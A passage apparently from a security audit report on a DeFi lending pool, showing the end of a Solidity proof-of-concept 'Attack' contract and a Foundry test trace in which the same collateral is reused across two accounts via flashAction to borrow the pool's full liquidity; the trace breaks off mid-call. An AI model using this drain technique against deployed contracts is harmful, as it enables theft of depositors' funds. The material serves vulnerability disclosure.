            withdrawActionData.assetAmounts = newAssetAmounts;

            /// @dev Re-deposit the assets to make the callback happy.
            returnDepositData = withdrawActionData;
        }

        /// Once we are finished, verify the `currentAccount` still
        /// contains the borrowed amount.
        require(_TOKEN.balanceOf(address(currentAccount)) == 0.5 ether, "FAILED_TO_LOCK_LIQUIDITY");
    }
}

Running this gives the following traces:

lending-v2 on  main [!] on ☁️   took 16s 
❯ forge test --mt test_sherlock_drain -vvvv
[⠒] Compiling...
No files changed, compilation skipped

Ran 1 test for test/fuzz/LendingPool/Borrow.fuzz.t.sol:Borrow_LendingPool_Fuzz_Test
[PASS] test_sherlock_drain() (gas: 2273939)
Traces:
  [2273939] Borrow_LendingPool_Fuzz_Test::test_sherlock_drain()
    ├─ [0] VM::startPrank(liquidityProvider: [0xE9323E1440012e53E2DDb91Fc38EF24C20F2628d])
    │   └─ ← ()
    ├─ [4643] STABLE1::approve(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   ├─ emit Approval(owner: liquidityProvider: [0xE9323E1440012e53E2DDb91Fc38EF24C20F2628d], spender: Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    ├─ [29680] STABLE1::transfer(0x0000000000000000000000000000000000000069, 1000000000000000000 [1e18])
    │   ├─ emit Transfer(from: liquidityProvider: [0xE9323E1440012e53E2DDb91Fc38EF24C20F2628d], to: 0x0000000000000000000000000000000000000069, amount: 1000000000000000000 [1e18])
    │   └─ ← true
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [0] VM::prank(Senior Tranche: [0x22278DA93E6145c194D683fb96975DF8CDaF439E])
    │   └─ ← ()
    ├─ [83895] Lending Pool::depositInLendingPool(1000000000000000000 [1e18], liquidityProvider: [0xE9323E1440012e53E2DDb91Fc38EF24C20F2628d])
    │   ├─ [25273] STABLE1::transferFrom(liquidityProvider: [0xE9323E1440012e53E2DDb91Fc38EF24C20F2628d], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], 1000000000000000000 [1e18])
    │   │   ├─ emit Transfer(from: liquidityProvider: [0xE9323E1440012e53E2DDb91Fc38EF24C20F2628d], to: Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], amount: 1000000000000000000 [1e18])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ emit PoolStateUpdated(totalDebt: 0, totalLiquidity: 1000000000000000000 [1e18], interestRate: 0)
    │   └─ ← ()
    ├─ [561] STABLE1::balanceOf(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236]) [staticcall]
    │   └─ ← 1000000000000000000 [1e18]
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000000069)
    │   └─ ← ()
    ├─ [738798] → new Attack@0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b
    │   └─ ← 4038 bytes of code
    ├─ [24880] STABLE1::transfer(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 1000000000000000000 [1e18])
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000069, to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], amount: 1000000000000000000 [1e18])
    │   └─ ← true
    ├─ [731197] Attack::prepareAccounts(2)
    │   ├─ [327174] Factory::createAccount(105, 0, Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236])
    │   │   ├─ [59947] → new Proxy@0x5Da84715127Fb812de3ca9357cF46Af10B8d037e
    │   │   │   ├─ emit Upgraded(implementation: Account V1 Logic: [0x7fCe8177a74dc54906eA7416c902C1879BF788E6])
    │   │   │   └─ ← 412 bytes of code
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], id: 2)
    │   │   ├─ [127156] Proxy::initialize(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], Registry: [0xB901b94fD24Ad47E3DD3b90F5BbD93ca2556b9bb], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236])
    │   │   │   ├─ [124299] Account V1 Logic::initialize(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], Registry: [0xB901b94fD24Ad47E3DD3b90F5BbD93ca2556b9bb], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236]) [delegatecall]
    │   │   │   │   ├─ [2897] Lending Pool::openMarginAccount(1)
    │   │   │   │   │   └─ ← true, STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], Liquidator: [0x04E25fA0D07EA7A8231986B952556fE303c44A11], 0
    │   │   │   │   ├─ [2599] Registry::inRegistry(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388]) [staticcall]
    │   │   │   │   │   └─ ← true
    │   │   │   │   ├─ emit NumeraireSet(numeraire: STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388])
    │   │   │   │   ├─ emit MarginAccountChanged(creditor: Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], liquidator: Liquidator: [0x04E25fA0D07EA7A8231986B952556fE303c44A11])
    │   │   │   │   └─ ← ()
    │   │   │   └─ ← ()
    │   │   ├─ emit AccountUpgraded(accountAddress: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], newVersion: 1)
    │   │   └─ ← Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]
    │   ├─ [24543] STABLE1::approve(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   ├─ emit Approval(owner: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], spender: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [283474] Factory::createAccount(106, 0, Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236])
    │   │   ├─ [59947] → new Proxy@0xc9F7fa49C1981fcb70E655E150B3d134987f576c
    │   │   │   ├─ emit Upgraded(implementation: Account V1 Logic: [0x7fCe8177a74dc54906eA7416c902C1879BF788E6])
    │   │   │   └─ ← 412 bytes of code
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], id: 3)
    │   │   ├─ [118156] Proxy::initialize(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], Registry: [0xB901b94fD24Ad47E3DD3b90F5BbD93ca2556b9bb], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236])
    │   │   │   ├─ [117799] Account V1 Logic::initialize(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], Registry: [0xB901b94fD24Ad47E3DD3b90F5BbD93ca2556b9bb], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236]) [delegatecall]
    │   │   │   │   ├─ [897] Lending Pool::openMarginAccount(1)
    │   │   │   │   │   └─ ← true, STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], Liquidator: [0x04E25fA0D07EA7A8231986B952556fE303c44A11], 0
    │   │   │   │   ├─ [599] Registry::inRegistry(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388]) [staticcall]
    │   │   │   │   │   └─ ← true
    │   │   │   │   ├─ emit NumeraireSet(numeraire: STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388])
    │   │   │   │   ├─ emit MarginAccountChanged(creditor: Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], liquidator: Liquidator: [0x04E25fA0D07EA7A8231986B952556fE303c44A11])
    │   │   │   │   └─ ← ()
    │   │   │   └─ ← ()
    │   │   ├─ emit AccountUpgraded(accountAddress: Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], newVersion: 1)
    │   │   └─ ← Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c]
    │   ├─ [24543] STABLE1::approve(Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   ├─ emit Approval(owner: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], spender: Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   └─ ← ()
    ├─ [742739] Attack::rekt()
    │   ├─ [561] STABLE1::balanceOf(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b]) [staticcall]
    │   │   └─ ← 1000000000000000000 [1e18]
    │   ├─ [121951] Proxy::deposit([0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]])
    │   │   ├─ [121558] Account V1 Logic::deposit([0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]]) [delegatecall]
    │   │   │   ├─ [20151] Registry::batchProcessDeposit(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]])
    │   │   │   │   ├─ [619] Factory::isAccount(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]) [staticcall]
    │   │   │   │   │   └─ ← true
    │   │   │   │   ├─ [6293] Standard ERC20 Asset Module::processDirectDeposit(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18])
    │   │   │   │   │   └─ ← 1, 0
    │   │   │   │   ├─ emit Deposit(account: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e])
    │   │   │   │   └─ ← [0]
    │   │   │   ├─ [25273] STABLE1::transferFrom(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], 1000000000000000000 [1e18])
    │   │   │   │   ├─ emit Transfer(from: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], to: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], amount: 1000000000000000000 [1e18])
    │   │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   ├─ [159563] Lending Pool::borrow(500000000000000000 [5e17], Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 0x4b454b0000000000000000000000000000000000000000000000000000000000)
    │   │   ├─ [797] Factory::ownerOfAccount(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]) [staticcall]
    │   │   │   └─ ← Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b]
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], amount: 500000000000000000 [5e17])
    │   │   ├─ emit Deposit(caller: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], owner: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], assets: 500000000000000000 [5e17], shares: 500000000000000000 [5e17])
    │   │   ├─ [57790] Proxy::increaseOpenPosition(500000000000000000 [5e17])
    │   │   │   ├─ [57439] Account V1 Logic::increaseOpenPosition(500000000000000000 [5e17]) [delegatecall]
    │   │   │   │   ├─ [52176] Registry::getCollateralValue(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]]) [staticcall]
    │   │   │   │   │   ├─ [6700] SequencerUptimeOracle::latestRoundData() [staticcall]
    │   │   │   │   │   │   └─ ← 0, 0, 0, 0, 0
    │   │   │   │   │   ├─ [700] SequencerUptimeOracle::latestRoundData() [staticcall]
    │   │   │   │   │   │   └─ ← 0, 0, 0, 0, 0
    │   │   │   │   │   ├─ [24943] Standard ERC20 Asset Module::getValue(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18]) [staticcall]
    │   │   │   │   │   │   ├─ [19175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
    │   │   │   │   │   │   │   ├─ [12963] Chainlink Oracle Module::getRate(0) [staticcall]
    │   │   │   │   │   │   │   │   ├─ [6860] ArcadiaOracle::latestRoundData() [staticcall]
    │   │   │   │   │   │   │   │   │   └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
    │   │   │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   │   └─ ← 1000000000000000000000000000000 [1e30], 10000 [1e4], 10000 [1e4]
    │   │   │   │   │   ├─ [7943] Standard ERC20 Asset Module::getValue(0x0000000000000000000000000000000000000000, STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18]) [staticcall]
    │   │   │   │   │   │   ├─ [4175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
    │   │   │   │   │   │   │   ├─ [2463] Chainlink Oracle Module::getRate(0) [staticcall]
    │   │   │   │   │   │   │   │   ├─ [860] ArcadiaOracle::latestRoundData() [staticcall]
    │   │   │   │   │   │   │   │   │   └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
    │   │   │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   │   └─ ← 1000000000000000000000000000000 [1e30], 0, 0
    │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   └─ ← 1
    │   │   │   └─ ← 1
    │   │   ├─ [22880] STABLE1::transfer(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 500000000000000000 [5e17])
    │   │   │   ├─ emit Transfer(from: Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], amount: 500000000000000000 [5e17])
    │   │   │   └─ ← true
    │   │   ├─ emit Borrow(account: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], by: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], amount: 500000000000000000 [5e17], fee: 0, referrer: 0x4b454b0000000000000000000000000000000000000000000000000000000000)
    │   │   ├─ emit PoolStateUpdated(totalDebt: 500000000000000000 [5e17], totalLiquidity: 1000000000000000000 [1e18], interestRate: 0)
    │   │   └─ ← ()
    │   ├─ [381562] Proxy::flashAction(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 0x00000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000220000000000000000000000000000000000000000000000000000000000000032000000000000000000000000000000000000000000000000000000000000003400000000000000000000000000000000000000000000000000000000000000360000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000140000000000000000000000000000000000000000000000000000000000000000100000000000000000000000080ba393f366b0227603c4e91a19ae1ebd9a3c3880000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
    │   │   ├─ [381035] Account V1 Logic::flashAction(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 0x00000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000220000000000000000000000000000000000000000000000000000000000000032000000000000000000000000000000000000000000000000000000000000003400000000000000000000000000000000000000000000000000000000000000360000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000140000000000000000000000000000000000000000000000000000000000000000100000000000000000000000080ba393f366b0227603c4e91a19ae1ebd9a3c3880000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) [delegatecall]
    │   │   │   ├─ [6441] Registry::batchProcessWithdrawal(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]])
    │   │   │   │   ├─ [619] Factory::isAccount(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]) [staticcall]
    │   │   │   │   │   └─ ← true
    │   │   │   │   ├─ [1318] Standard ERC20 Asset Module::processDirectWithdrawal(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18])
    │   │   │   │   │   └─ ← 0
    │   │   │   │   ├─ emit Withdrawal(account: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e])
    │   │   │   │   └─ ← [0]
    │   │   │   ├─ [2980] STABLE1::transfer(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 1000000000000000000 [1e18])
    │   │   │   │   ├─ emit Transfer(from: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], amount: 1000000000000000000 [1e18])
    │   │   │   │   └─ ← true
    │   │   │   ├─ [235898] Attack::executeAction(0x)
    │   │   │   │   ├─ [561] STABLE1::balanceOf(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b]) [staticcall]
    │   │   │   │   │   └─ ← 1500000000000000000 [1.5e18]
    │   │   │   │   ├─ [111451] Proxy::deposit([0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]])
    │   │   │   │   │   ├─ [111058] Account V1 Logic::deposit([0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]]) [delegatecall]
    │   │   │   │   │   │   ├─ [9651] Registry::batchProcessDeposit(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]])
    │   │   │   │   │   │   │   ├─ [619] Factory::isAccount(Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c]) [staticcall]
    │   │   │   │   │   │   │   │   └─ ← true
    │   │   │   │   │   │   │   ├─ [4293] Standard ERC20 Asset Module::processDirectDeposit(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18])
    │   │   │   │   │   │   │   │   └─ ← 1, 0
    │   │   │   │   │   │   │   ├─ emit Deposit(account: Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c])
    │   │   │   │   │   │   │   └─ ← [0]
    │   │   │   │   │   │   ├─ [25273] STABLE1::transferFrom(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], 1000000000000000000 [1e18])
    │   │   │   │   │   │   │   ├─ emit Transfer(from: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], to: Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], amount: 1000000000000000000 [1e18])
    │   │   │   │   │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   └─ ← ()
    │   │   │   │   ├─ [66798] Lending Pool::borrow(500000000000000000 [5e17], Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 0x4b454b0000000000000000000000000000000000000000000000000000000000)
    │   │   │   │   │   ├─ [797] Factory::ownerOfAccount(Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c]) [staticcall]
    │   │   │   │   │   │   └─ ← Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b]
    │   │   │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], amount: 500000000000000000 [5e17])
    │   │   │   │   │   ├─ emit Deposit(caller: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], owner: Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], assets: 500000000000000000 [5e17], shares: 500000000000000000 [5e17])
    │   │   │   │   │   ├─ [26290] Proxy::increaseOpenPosition(500000000000000000 [5e17])
    │   │   │   │   │   │   ├─ [25939] Account V1 Logic::increaseOpenPosition(500000000000000000 [5e17]) [delegatecall]
    │   │   │   │   │   │   │   ├─ [20676] Registry::getCollateralValue(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]]) [staticcall]
    │   │   │   │   │   │   │   │   ├─ [700] SequencerUptimeOracle::latestRoundData() [staticcall]
    │   │   │   │   │   │   │   │   │   └─ ← 0, 0, 0, 0, 0
    │   │   │   │   │   │   │   │   ├─ [700] SequencerUptimeOracle::latestRoundData() [staticcall]
    │   │   │   │   │   │   │   │   │   └─ ← 0, 0, 0, 0, 0
    │   │   │   │   │   │   │   │   ├─ [5943] Standard ERC20 Asset Module::getValue(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18]) [staticcall]
    │   │   │   │   │   │   │   │   │   ├─ [4175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
    │   │   │   │   │   │   │   │   │   │   ├─ [2463] Chainlink Oracle Module::getRate(0) [staticcall]
    │   │   │   │   │   │   │   │   │   │   │   ├─ [860] ArcadiaOracle::latestRoundData() [staticcall]
    │   │   │   │   │   │   │   │   │   │   │   │   └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
    │   │   │   │   │   │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   │   │   │   │   └─ ← 1000000000000000000000000000000 [1e30], 10000 [1e4], 10000 [1e4]
    │   │   │   │   │   │   │   │   ├─ [5943] Standard ERC20 Asset Module::getValue(0x0000000000000000000000000000000000000000, STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18]) [staticcall]
    │   │   │   │   │   │   │   │   │   ├─ [4175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
    │   │   │   │   │   │   │   │   │   │   ├─ [2463] Chainlink Oracle Module::getRate(0) [staticcall]
    │   │   │   │   │   │   │   │   │   │   │   ├─ [860] ArcadiaOracle::latestRoundData() [staticcall]
    │   │   │   │   │   │   │   │   │   │   │   │   └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
    │   │   │   │   │   │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   │   │   │   │   └─ ← 1000000000000000000000000000000 [1e30], 0, 0
    │   │   │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   │   │   └─ ← 1
    │   │   │   │   │   │   └─ ← 1
    │   │   │   │   │   ├─ [2980] STABLE1::transfer(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 500000000000000000 [5e17])
    │   │   │   │   │   │   ├─ emit Transfer(from: Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], amount: 500000000000000000 [5e17])
    │   │   │   │   │   │   └─ ← true
    │   │   │   │   │   ├─ emit Borrow(account: Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], by: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], amount: 500000000000000000 [5e17], fee: 0, referrer: 0x4b454b0000000000000000000000000000000000000000000000000000000000)
    │   │   │   │   │   ├─ emit PoolStateUpdated(totalDebt: 1000000000000000000 [1e18], totalLiquidity: 1000000000000000000 [1e18], interestRate: 0)
    │   │   │   │   │   └─ ← ()
    │   │   │   │   ├─ [42242] Proxy::withdraw([0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [500000000000000000 [5e17]])
    │   │   │   │   │   ├─ [41849] Account V1 Logic::withdraw([0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [500000000000000000 [5e17]]) [delegatecall]
    │   │   │   │   │   │   ├─ [6441] Registry::batchProcessWithdrawal(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [500000000000000000 [5e17]])
    │   │   │   │   │   │   │   ├─ [619] Factory::isAccount(Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c]) [staticcall]
    │   │   │   │   │   │   │   │   └─ ← true
    │   │   │   │   │   │   │   ├─ [1318] Standard ERC20 Asset Module::processDirectWithdrawal(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 500000000000000000 [5e17])
    │   │   │   │   │   │   │   │   └─ ← 0
    │   │   │   │   │   │   │   ├─ emit Withdrawal(account: Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c])
    │   │   │   │   │   │   │   └─ ← [0]
    │   │   │   │   │   │   ├─ [2980] STABLE1::transfer(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 500000000000000000 [5e17])
    │   │   │   │   │   │   │   ├─ emit Transfer(from: Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], amount: 500000000000000000 [5e17])
    │   │   │   │   │   │   │   └─ ← true
    │   │   │   │   │   │   ├─ [1294] Lending Pool::getOpenPosition(Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c]) [staticcall]
    │   │   │   │   │   │   │   └─ ← 500000000000000000 [5e17]
    │   │   │   │   │   │   ├─ [20676] Registry::getCollateralValue(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [500000000000000000 [5e17]]) [staticcall]
    │   │   │   │   │   │   │   ├─ [700] SequencerUptimeOracle::latestRoundData() [staticcall]
    │   │   │   │   │   │   │   │   └─ ← 0, 0, 0, 0, 0
    │   │   │   │   │   │   │   ├─ [700] SequencerUptimeOracle::latestRoundData() [staticcall]
    │   │   │   │   │   │   │   │   └─ ← 0, 0, 0, 0, 0
